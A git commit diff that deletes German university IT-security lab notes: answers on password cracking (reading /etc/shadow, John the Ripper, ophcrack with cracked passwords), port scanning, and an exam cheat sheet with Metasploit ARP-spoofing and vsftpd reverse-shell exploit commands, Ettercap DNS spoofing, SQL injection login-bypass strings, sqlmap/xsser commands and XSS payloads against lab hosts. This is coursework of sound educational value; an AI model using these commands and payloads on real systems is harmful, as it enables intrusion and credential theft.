cleared cache because workspace.json is abnoxious
This commit is contained in:
@@ -1,82 +0,0 @@
|
||||
# Aufgabe 1
|
||||
|
||||
Nennen Sie Maßnahmen, wie man es einem potenziellen Angreifer schwerer machen kann, das Passwort zu erraten.
|
||||
|
||||
- Längere Passwörter
|
||||
- komplexer (Zahlen, Groß- und Kleinbuchstaben)
|
||||
|
||||
# Aufgabe 2
|
||||
|
||||
Suchen Sie im Internet nach Tools für Wörterbuchangriffe. Welche On- bzw. Offline-Tools gibt es und welche Arten von Hashwerten können mit den jeweiligen Tools geknackt werden?
|
||||
|
||||
- acccheck (smb)
|
||||
- beleth (ssh)
|
||||
- cudahashcat
|
||||
- eapmd5pass (md5)
|
||||
- facebrute
|
||||
- iisbruteforcer
|
||||
- morxbook, morxbrute, morxcrack
|
||||
- oclhashcat
|
||||
- pdgmail
|
||||
- pemhack
|
||||
- sidguesser
|
||||
|
||||
# Aufgabe 3
|
||||
|
||||
„John The Ripper“ ist als freie Version erhältlich. Erläutern Sie die Funktionsweise. Welche Algorithmen zur Hash-Berechnung beherrscht „John The Ripper“? Wie viele verschiedene Crack-Modi werden unterstützt? Nennen und erläutern Sie die Unterschiede.
|
||||
|
||||
# Aufgabe 4
|
||||
|
||||
Welcher Schritt ist zunächst notwendig um auf Linux-Distributionen, die Passwörter in einer Shadow-Datei speichern, das Cracking der Passwortliste zu starten?
|
||||
|
||||
1. Zugriff auf `/etc/shadow` erhalten
|
||||
1. Nötigt `root`
|
||||
2. Kopieren von `/etc/shadow` und `/etc/passwd`
|
||||
3. Vorbereitung für Cracking
|
||||
1. `unshadow /etc/passwd /etc/shadow > unshadowed.txt`
|
||||
4. Cracking tool starten
|
||||
1. `john --wordlist=rockyou.txt unshadowed.txt`
|
||||
|
||||
# Aufgabe 5 - Praxis
|
||||
|
||||
`scp localhost:/etc/passwd ~/passwd_dump.txt`
|
||||
`scp localhost:/etc/shadow ~/shadow_dump.txt`
|
||||
|
||||
`unshadow passwd_dump.txt shadow_dump.txt > combined.txt`
|
||||
`john --wordlist=pwd.txt combined.txt --users=root --format=crypt`
|
||||
|
||||
Ergebnis: `notsafe987 (root)`
|
||||
|
||||
# Aufgabe 6
|
||||
|
||||
Mitunter kann der Vorgang zum Cracken per Brute-Force oder mit Wortlisten sehr lange dauern. Allerdings gibt es ein paar Möglichkeiten, in JTR das Cracken zu beschleunigen. Nennen Sie drei Methoden.
|
||||
|
||||
1. Liste an möglichen Wörtern einschränken
|
||||
2. Mehr Rechenleistung
|
||||
3. Multi threading
|
||||
|
||||
# Aufgabe 7
|
||||
|
||||
Für Windows-LM-/-NTLM-Passworthashes gibt es eine effektivere und i.d.R. schnellere Methode das Klartext-Passwort herauszufinden - die Rainbow Tables.
|
||||
Erklären Sie die Funktionsweise von Rainbow Tables. Welche Vorteile haben sie gegenüber Brute-Force- oder Wörterbuchattacken? Warum sind Rainbow Tables in der Regel effektiver?
|
||||
|
||||
Rainbow Tables sind vorberechnete, große Datenbanken, die Klartext-Passwörter mit ihren zugehörigen Hashwerten verknüpfen. Sie dienen dazu, das ursprüngliche Passwort zu einem gegebenen Hashwert schnell zu ermitteln, ohne jedes mögliche Passwort einzeln ausprobieren oder berechnen zu müssen
|
||||
|
||||
# Aufgabe 8
|
||||
|
||||
Die LM-/NTLM-Hashes von lokalen Benutzerkonten sind in einer SAM-Datenbank abgelegt. Wofür steht SAM und welche Funktion hat der Dienst? Kann man über die SAM-Datenbank auch Domain-Passwörter auslesen?
|
||||
|
||||
# Aufgabe 9 - Praxis
|
||||
|
||||
Versuchen Sie nun das Passwort des Accounts 'Alice' von einem fiktiven Windows10-Rechner mit dem Tool Ophcrack und einer Rainbow Table zu cracken. Laden Sie sich dazu zunächst die Rainbow Table 'vista free prohabilistic' von der Ophcrack-Webseite herunter (oder, falls die Verbindung zu langsam ist liegt die unter /root/ophcrack) und speichern Sie die Table im Ordner 'ophcrack/RainbowTables' im Home-Verzeichnis des Users 'root'.
|
||||
|
||||
In dem Ordner „ophcrack“ finden Sie außerdem einen Dump der SAM-Einträge (Security Accounts Manager) von der VM „win10-victim“.
|
||||
|
||||
**Zum Cracken soll nur das Passwort von Alice betrachtet werden, ansonsten sind die Laufzeiten zu hoch! Hierzu kann bspw. nur ein Teil des SAM-Dump verwendet werden.**
|
||||
|
||||
Starten Sie das Tool Ophcrack auf der Kommandozeile (ophcrack), laden Sie den SAM-Dump und versuchen Sie das Passwort des Accounts „Alice“ mit der heruntergeladenen Rainbow Table zu cracken.
|
||||
|
||||
|
||||
`ophcrack-cli -f nurlice.pwdmp -t Rainbowtables/vista_proba_free -n 4`
|
||||
|
||||
Ergebnis: Alice NT password 12!34
|
||||
Binary file not shown.
@@ -1,117 +0,0 @@
|
||||
#let response(body) = {
|
||||
set text(
|
||||
weight: "semibold",
|
||||
purple,
|
||||
)
|
||||
[#body]
|
||||
}
|
||||
|
||||
= 060 Portscans
|
||||
|
||||
== Aufgabe 1
|
||||
Erklären Sie die Begriffe sowie die Bedeutung Authentisierung, Autorisierung und Accounting.
|
||||
|
||||
#response[
|
||||
- Authentisierung:
|
||||
- Identitätsnachweis
|
||||
- Autorisierung:
|
||||
- Rechtevergabe
|
||||
- Accounting:
|
||||
- audit trail über logging
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Authentication%2C_authorization%2C_and_accounting")[
|
||||
wikipedia: Authentication, authorization, and accounting
|
||||
]
|
||||
|
||||
== Aufgabe 2
|
||||
Was ist ein Port?
|
||||
|
||||
#response[
|
||||
Als Port versteht man einen Kommunikationsendpunkt. Auf der Softwareebene ist ein Port ein Konstrukt, mit dem man ein spezifischen Prozess oder ein network-service identifizieren kann.
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Port_(computer_networking)")[
|
||||
wikipedia: Port\_(computer_networking)
|
||||
]
|
||||
|
||||
== Aufgabe 2
|
||||
Was ist ein Portscanner und wofür wird er verwendet?
|
||||
|
||||
#response[
|
||||
Ein Portscanner ist eine Applikation, die dazu dient offene Ports bei bspw. Applikationen und Servern zu ermitteln. Dieser kann sowohl von Administratoren verwendet werden um Sicherheitslücken zu ermitteln, als auch von Angreifern um sich zugriff zu schaffen.
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Port_scanner")[
|
||||
wikipedia: Port_scanner
|
||||
]
|
||||
|
||||
== Aufgabe 3
|
||||
Ein Portscanner sendet eine Anfrage zur Verbindung mit einem Port eines Computers und zeichnet die Antwort auf. Es gibt drei mögliche Antworten, welche sind es?
|
||||
|
||||
#response[
|
||||
+ Open or Accepted
|
||||
+ Closed or Denied
|
||||
+ Filtered, Dropped or Blocked
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Port_scanner")[
|
||||
wikipedia: Port_scanner
|
||||
]
|
||||
|
||||
== Aufgabe 4
|
||||
Welche Portscan-Techniken gibt es?
|
||||
|
||||
#response[
|
||||
- TCP
|
||||
- SYN
|
||||
- UDP
|
||||
- ACK
|
||||
- Window
|
||||
- FIN
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Port_scanner")[
|
||||
wikipedia: Port_scanner
|
||||
]
|
||||
|
||||
|
||||
== Aufgabe 5
|
||||
Welche Möglichkeiten gibt es zur Erkennung von Portscannern?
|
||||
|
||||
#response[
|
||||
Mehrere Requests durch einen oder mehrere IP-Adressen an unterschiedlichen Ports (abtasten).
|
||||
]
|
||||
|
||||
== Aufgabe 6
|
||||
Welche Auswirkungen kann ein Portscan haben?
|
||||
|
||||
#response[
|
||||
- Entdeckung von offenen Ports
|
||||
- Geldstrafe lulz
|
||||
]
|
||||
|
||||
== Aufgabe 7
|
||||
An welchem Angriffs-Muster könnte man einen Portscan identifizieren und wie lässt sich dies vermeiden?
|
||||
|
||||
#response[
|
||||
+ inkrementierende Portnummer-Anfragen durch eine Person
|
||||
+ Auslastung und Testen aller Ports anhand eines Botnets
|
||||
]
|
||||
|
||||
== Aufgabe 8 - Praxis
|
||||
Welche Möglichkeiten gibt es auf einem Linux-System mit Kommandozeilenzugriff die offenen Ports herauszufinden ohne einen Portscan durchzuführen? (bspw. auf dem Kali-Container)
|
||||
|
||||
#response[
|
||||
`#netstat -lntu`
|
||||
]
|
||||
|
||||
#image("netstat.png")
|
||||
|
||||
== Aufgabe 9 - Praxis
|
||||
Führen Sie mit Hilfe der folgenden Tools jeweils einen Port-Scan für Port 20 bis 80 durch: nmap, netcat bzw. nc, echo, bash
|
||||
|
||||
#response[
|
||||
=== nmap
|
||||
#image("nmap.png")
|
||||
]
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 17 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 21 KiB |
@@ -1,348 +0,0 @@
|
||||
## 🖥️ **VirtualBox/VM Performance**
|
||||
|
||||
- Schildkröte-Symbol → Hyper-V und WSL unter Windows deaktivieren
|
||||
- Alternative: VMWare Workstation Pro (kostenloser Account nötig)
|
||||
|
||||
---
|
||||
|
||||
## 🔌 **Portscans**
|
||||
|
||||
**Was ist ein Port?**
|
||||
|
||||
- Virtuelle Schnittstelle für Verbindungen (0–65535 TCP/UDP, Layer 4)
|
||||
- Well Known Ports (0–1023): z. B. 22/SSH, 80/HTTP, 443/HTTPS, 53/DNS
|
||||
|
||||
**Portscanner?**
|
||||
|
||||
- Prüft Ports eines Hosts auf „offen“, „geschlossen“, „gefiltert“
|
||||
- Tools: `nmap`, `nc`, Bash-Loops mit `/dev/tcp`
|
||||
|
||||
**Portscan-Techniken**
|
||||
|
||||
- `Ping Scan`: ICMP Echo
|
||||
- `TCP SYN`: halb-offen (kein 3-Way Handshake)
|
||||
- `TCP Connect`: vollständiger 3-Way Handshake
|
||||
- `UDP Scan`: leere Pakete
|
||||
- `Stealth Scan`: FIN, XMAS, Idle Scan (Zombie)
|
||||
|
||||
**Detection & Prevention**
|
||||
|
||||
- Ungewöhnliches Verbindungsverhalten (viele Ports/IP)
|
||||
|
||||
- Tools: Firewalls, IDS, Rate-Limiting, Default-Deny-Prinzip
|
||||
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
netstat -tulpn
|
||||
sudo lsof -i -P -n
|
||||
nmap -p 20-80 172.22.x.x
|
||||
nc -zv 172.22.x.x 20-80
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔑 **Passwortsicherheit**
|
||||
|
||||
**Gute Passwörter**
|
||||
|
||||
- ≥12 Zeichen, Groß/Klein, Ziffern, Sonderzeichen
|
||||
- Keine Wörterbuchwörter oder persönliche Daten
|
||||
- Passwort-Manager nutzen, keine Wiederverwendung
|
||||
|
||||
**Cracking-Tools**
|
||||
|
||||
- Online: Hydra, crackstation.net
|
||||
- Offline: John the Ripper (JtR), Hashcat, ophcrack, Rainbowcrack
|
||||
|
||||
**John the Ripper (JtR)**
|
||||
|
||||
- Hash-Identifikation, Kandidaten-Generierung, Vergleich
|
||||
- Crack-Modi: Single, Wordlist, Incremental, Mask, Markov, Regex
|
||||
- Speed-Up: GPU, Threads `--fork=4`, gezielte Wortlisten
|
||||
- Linux: `sudo unshadow /etc/passwd /etc/shadow > combined.txt`
|
||||
- Crack: `john --wordlist=rockyou.txt combined.txt --format=crypt --users=root`
|
||||
|
||||
**Rainbow Tables**
|
||||
|
||||
- Vorgefertigte Hash-Ketten, schneller Lookup
|
||||
- Effektiv gegen unsalted Hashes (z. B. LM/NTLM)
|
||||
|
||||
---
|
||||
|
||||
## 🕵️♂️ **Man-in-the-Middle (MITM) & ARP-Spoofing**
|
||||
|
||||
**Grundidee**
|
||||
|
||||
- Angreifer täuscht Opfer und Gateway falsche MACs vor → Datenverkehr geht durch den Angreifer
|
||||
|
||||
**Tools & Schritte**
|
||||
|
||||
- `arp` → ARP-Cache anzeigen
|
||||
- Metasploit:
|
||||
```bash
|
||||
use auxiliary/spoof/arp/arp_poisoning
|
||||
set SHOSTS <gateway-IP>
|
||||
set DHOSTS <victim-IP>
|
||||
exploit
|
||||
```
|
||||
- Ettercap (GUI): Unified sniffing → Targets → Plugins → ARP Poisoning
|
||||
|
||||
**HTTPS MITM**
|
||||
|
||||
- Zertifikatsinjektion (Cain & Abel)
|
||||
- Nur möglich mit selbstsignierten Zertifikaten oder Downgrade-Attacken
|
||||
|
||||
---
|
||||
|
||||
## 🌐 **DNS-Angriffe**
|
||||
|
||||
**Methoden**
|
||||
|
||||
- DNS Spoofing / Cache Poisoning
|
||||
- DNS Hijacking, NXDOMAIN-Attacken
|
||||
- DNS Tunneling
|
||||
- DoH/DoT als Gegenmaßnahme
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
vim /etc/ettercap/etter.dns
|
||||
github.com A <Angreifer-IP>
|
||||
```
|
||||
|
||||
- Ettercap: DNS-Spoof Plugin aktivieren
|
||||
---
|
||||
|
||||
## 🔥 **Firewalls**
|
||||
|
||||
**Typen (nach Effizienz)**
|
||||
|
||||
1. Application Gateway (Layer 7)
|
||||
2. Proxy-Firewall
|
||||
3. Stateful Inspection (pfSense)
|
||||
4. Paketfilter-Firewall
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
iptables -I INPUT -p tcp --dport 80 -j DROP
|
||||
iptables -L -v
|
||||
firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d <IP> -j REJECT
|
||||
```
|
||||
|
||||
**Ports scannen**
|
||||
|
||||
```bash
|
||||
nmap -T4 <Firewall-IP>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 👀 **Intrusion Detection Systems (IDS)**
|
||||
|
||||
**Typen**
|
||||
|
||||
- NIDS: Netzwerkbasiert
|
||||
- HIDS: Hostbasiert
|
||||
- Hybrid, Anomaly-based, Signature-based
|
||||
|
||||
**Tools**
|
||||
|
||||
- Snort:
|
||||
```bash
|
||||
snort -q -A console -i eth0 -c /etc/snort/snort.conf
|
||||
```
|
||||
- Regeln:
|
||||
```text
|
||||
alert tcp any any -> 192.168.1.10 80 (msg:"HTTP access detected"; sid:1000001;)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📡 **RADIUS**
|
||||
|
||||
**AAA-Prinzip**
|
||||
|
||||
- Authentifizierung: Wer bist du?
|
||||
- Autorisierung: Was darfst du?
|
||||
- Accounting: Was hast du gemacht?
|
||||
|
||||
**Protokolle**
|
||||
|
||||
- PAP: Klartext (unsicher)
|
||||
- CHAP: Challenge-Response (sicherer)
|
||||
- EAP-TLS: Zertifikatsbasierte Auth (sehr sicher)
|
||||
|
||||
**Konfiguration**
|
||||
|
||||
- Clients: `/etc/raddb/clients.conf`
|
||||
- Users: `/etc/raddb/users`
|
||||
|
||||
**Test**
|
||||
|
||||
```bash
|
||||
radtest bob Secret123 <RADIUS-IP> 1812 secret123
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎯 **Metasploit**
|
||||
|
||||
**Phasen Pentest (BSI)**
|
||||
|
||||
1. Vorbereitung
|
||||
2. Informationsbeschaffung
|
||||
3. Bewertung
|
||||
4. Angriff
|
||||
5. Abschluss
|
||||
|
||||
**Modultypen**
|
||||
|
||||
- Exploit: Schwachstelle ausnutzen
|
||||
- Payload: Shells, Meterpreter
|
||||
- Auxiliary: Scans, Fuzzing, DoS
|
||||
- Post-Exploitation: Nach dem Zugriff Aktionen durchführen
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
search vsftpd
|
||||
use exploit/unix/ftp/vsftpd_234_backdoor
|
||||
set RHOST <target-IP>
|
||||
set PAYLOAD linux/x86/shell_reverse_tcp
|
||||
set LHOST <attacker-IP>
|
||||
exploit
|
||||
```
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 🗄️ **SQL Injection**
|
||||
|
||||
🔑 **Login-Bypass Beispiel**
|
||||
|
||||
```sql
|
||||
Email: Admin@1337.org
|
||||
Passwort: " OR 1=1;#
|
||||
```
|
||||
|
||||
➡️ Führt zu Query:
|
||||
|
||||
```sql
|
||||
SELECT * FROM testumgebung_mysql_db.user
|
||||
WHERE user_email = "Admin@1337.org"
|
||||
AND user_password = "" OR 1=1;#
|
||||
```
|
||||
|
||||
✅ Da `1=1` immer true → Zugriff auch ohne Passwort
|
||||
|
||||
---
|
||||
|
||||
🔑 **Weitere Login-Bypass Varianten (Labor)**
|
||||
|
||||
- Mit manipuliertem Benutzernamen:
|
||||
|
||||
```sql
|
||||
Email: SvenMoller@teleworm.us
|
||||
Passwort: " OR 1=1;#
|
||||
```
|
||||
|
||||
➡️ Erfolgreich eingeloggt als Arand1978
|
||||
|
||||
- LIMIT 1 für nur einen User:
|
||||
|
||||
```sql
|
||||
Email: " OR 1=1 LIMIT 1;#
|
||||
Passwort: ignore
|
||||
```
|
||||
|
||||
➡️ Erfolgreich eingeloggt
|
||||
|
||||
---
|
||||
|
||||
🛠️ **Tool: sqlmap (Labor)**
|
||||
Analysiere SQLi-Lücken:
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=1"
|
||||
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=2+AND+2=2"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
⚠️ **Hinweis (Labor)**
|
||||
|
||||
- `UNION SELECT` NICHT klausurrelevant:
|
||||
|
||||
```sql
|
||||
XSS_ProductView.php?clicked=1 UNION SELECT 1,'test',3,4,5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🪞 **Cross-Site Scripting**
|
||||
|
||||
📌 **Reflexives XSS (Labor)**
|
||||
Angriff im Suchfeld:
|
||||
|
||||
```html
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
URL-Beispiel:
|
||||
|
||||
```
|
||||
http://172.22.180.203/nie/php/XSS_Umgebung.php?suche=<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
➡️ Beim Aufruf wird der JS-Code direkt im Browser ausgeführt
|
||||
|
||||
---
|
||||
|
||||
📌 **Persistentes XSS (Labor)**
|
||||
Kommentar-Input manipulieren:
|
||||
|
||||
```
|
||||
Was ein wünderschönes Stück Baum dies doch ist. <script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
➡️ Jeder Nutzer, der die Seite lädt, bekommt den Alert
|
||||
|
||||
**Verschleierung (Labor)**:
|
||||
Kommentartext so gestalten, dass `<script>` im DB-Dump weniger auffällt.
|
||||
|
||||
---
|
||||
|
||||
🛠️ **Tool: xsser (Labor)**
|
||||
Automatisierte XSS-Prüfung:
|
||||
|
||||
```bash
|
||||
xsser -u http://172.22.180.102/nie/php/XSS_Umgebung.php?suche=XSS -s --user-agent "Googlebot/2.1" --threads 5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
🚨 **Session Hijacking (Labor Bonus)**
|
||||
|
||||
- Mit XSS Session Cookies stehlen
|
||||
- Danach als Opfer-User einloggen
|
||||
|
||||
**Mitigation**:
|
||||
|
||||
- `HttpOnly` Flag für Cookies
|
||||
- `htmlspecialchars($input, ENT_QUOTES)` in PHP
|
||||
|
||||
---
|
||||
|
||||
## 📋 **Kompakte Klausur-Befehlsübersicht**
|
||||
|
||||
|Angriff|Beispiel / Befehl|
|
||||
|---|---|
|
||||
|SQLi Login-Bypass|`Email: " OR 1=1;#`|
|
||||
|SQLi Tool|`sqlmap -u "<URL>"`|
|
||||
|Reflektiertes XSS|URL: `?suche=<script>alert(1)</script>`|
|
||||
|Persistentes XSS|Kommentar: `<script>alert('XSS')</script>`|
|
||||
|XSS Tool|`xsser -u <URL> -s --threads 5`|
|
||||
Reference in New Issue
Block a user